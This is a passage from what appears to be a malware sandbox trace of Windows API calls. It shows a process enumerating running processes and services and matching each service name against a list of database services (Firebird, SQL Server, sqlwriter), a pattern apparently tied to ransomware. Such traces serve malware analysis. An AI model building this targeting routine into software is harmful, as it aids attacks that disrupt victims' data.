lpString2="SamSs") returned 1 [0193.575] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0193.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0193.576] lstrlenW (lpString="Schedule") returned 8 [0193.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0193.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0193.576] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0193.576] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0193.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0193.576] lstrlenW (lpString="SecurityHealthService") returned 21 [0193.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0193.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0193.576] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0193.576] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0193.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0193.577] lstrlenW (lpString="SENS") returned 4 [0193.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0193.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0193.577] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0193.577] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0193.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0193.577] lstrlenW (lpString="ShellHWDetection") returned 16 [0193.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0193.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0193.577] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0193.577] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0193.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0193.577] lstrlenW (lpString="Spooler") returned 7 [0193.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0193.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0193.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0193.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0193.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0193.577] lstrlenW (lpString="StateRepository") returned 15 [0193.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0193.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0193.577] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0193.577] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0193.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0193.577] lstrlenW (lpString="SysMain") returned 7 [0193.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0193.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0193.578] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0193.578] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0193.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0193.578] lstrlenW (lpString="SystemEventsBroker") returned 18 [0193.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0193.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0193.578] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0193.578] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0193.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0193.578] lstrlenW (lpString="Themes") returned 6 [0193.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0193.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0193.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0193.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0193.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0193.578] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0193.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0193.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0193.578] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0193.578] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0193.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46f4f90 | out: hHeap=0x710000) returned 1 [0193.578] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x538 [0193.589] Process32FirstW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.589] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0193.590] lstrlenW (lpString="System") returned 6 [0193.590] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0193.591] lstrlenW (lpString="smss.exe") returned 8 [0193.591] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.592] lstrlenW (lpString="csrss.exe") returned 9 [0193.592] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0193.593] lstrlenW (lpString="wininit.exe") returned 11 [0193.593] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.594] lstrlenW (lpString="csrss.exe") returned 9 [0193.594] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0193.595] lstrlenW (lpString="winlogon.exe") returned 12 [0193.595] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0193.596] lstrlenW (lpString="services.exe") returned 12 [0193.596] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0193.596] lstrlenW (lpString="lsass.exe") returned 9 [0193.596] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0193.597] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0193.597] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0193.598] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0193.598] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.599] lstrlenW (lpString="svchost.exe") returned 11 [0193.599] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.600] lstrlenW (lpString="svchost.exe") returned 11 [0193.600] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0193.601] lstrlenW (lpString="dwm.exe") returned 7 [0193.601] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.602] lstrlenW (lpString="svchost.exe") returned 11 [0193.602] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.602] lstrlenW (lpString="svchost.exe") returned 11 [0193.602] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.603] lstrlenW (lpString="svchost.exe") returned 11 [0193.603] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.604] lstrlenW (lpString="svchost.exe") returned 11 [0193.604] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.605] lstrlenW (lpString="svchost.exe") returned 11 [0193.605] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.606] lstrlenW (lpString="svchost.exe") returned 11 [0193.606] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.606] lstrlenW (lpString="svchost.exe") returned 11 [0193.606] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.607] lstrlenW (lpString="svchost.exe") returned 11 [0193.608] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.609] lstrlenW (lpString="svchost.exe") returned 11 [0193.609] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.610] lstrlenW (lpString="svchost.exe") returned 11 [0193.610] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0193.611] lstrlenW (lpString="spoolsv.exe") returned 11 [0193.611] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.612] lstrlenW (lpString="svchost.exe") returned 11 [0193.612] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0193.613] lstrlenW (lpString="audiodg.exe") returned 11 [0193.613] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0193.644] lstrlenW (lpString="sihost.exe") returned 10 [0193.644] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.645] lstrlenW (lpString="svchost.exe") returned 11 [0193.645] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0193.646] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0193.646] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0193.647] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0193.647] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0193.648] lstrlenW (lpString="Memory Compression") returned 18 [0193.648] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0193.649] lstrlenW (lpString="taskhostw.exe") returned 13 [0193.649] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0193.650] lstrlenW (lpString="msoia.exe") returned 9 [0193.650] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0193.650] lstrlenW (lpString="explorer.exe") returned 12 [0193.650] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0193.651] lstrlenW (lpString="SearchUI.exe") returned 12 [0193.651] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0193.652] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0193.652] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0193.653] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0193.653] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0193.653] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0193.654] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0193.654] lstrlenW (lpString="wmxsde.exe") returned 10 [0193.654] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0193.655] lstrlenW (lpString="consent.exe") returned 11 [0193.655] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0193.656] lstrlenW (lpString="dllhost.exe") returned 11 [0193.656] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0193.657] CloseHandle (hObject=0x538) returned 1 [0193.657] Sleep (dwMilliseconds=0x1f4) [0194.268] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f470 [0194.311] EnumServicesStatusExW (in: hSCManager=0x459f470, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0194.319] GetLastError () returned 0xea [0194.319] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4663fc0 [0194.320] EnumServicesStatusExW (in: hSCManager=0x459f470, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4663fc0, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4663fc0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0194.323] CloseServiceHandle (hSCObject=0x459f470) returned 1 [0194.325] lstrlenW (lpString="Appinfo") returned 7 [0194.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0194.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0194.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0194.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0194.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0194.325] lstrlenW (lpString="AppXSvc") returned 7 [0194.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0194.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0194.325] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0194.325] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0194.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0194.325] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0194.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.326] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0194.326] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0194.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0194.326] lstrlenW (lpString="Audiosrv") returned 8 [0194.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0194.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0194.326] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0194.326] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0194.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0194.326] lstrlenW (lpString="BFE") returned 3 [0194.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0194.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0194.326] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0194.326] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0194.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0194.326] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0194.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0194.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0194.326] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0194.326] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0194.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0194.326] lstrlenW (lpString="CDPSvc") returned 6 [0194.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0194.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0194.326] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0194.326] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0194.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0194.326] lstrlenW (lpString="ClickToRunSvc") returned 13 [0194.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0194.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0194.327] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0194.327] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0194.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0194.327] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0194.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0194.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0194.327] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0194.327] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0194.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0194.327] lstrlenW (lpString="CryptSvc") returned 8 [0194.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 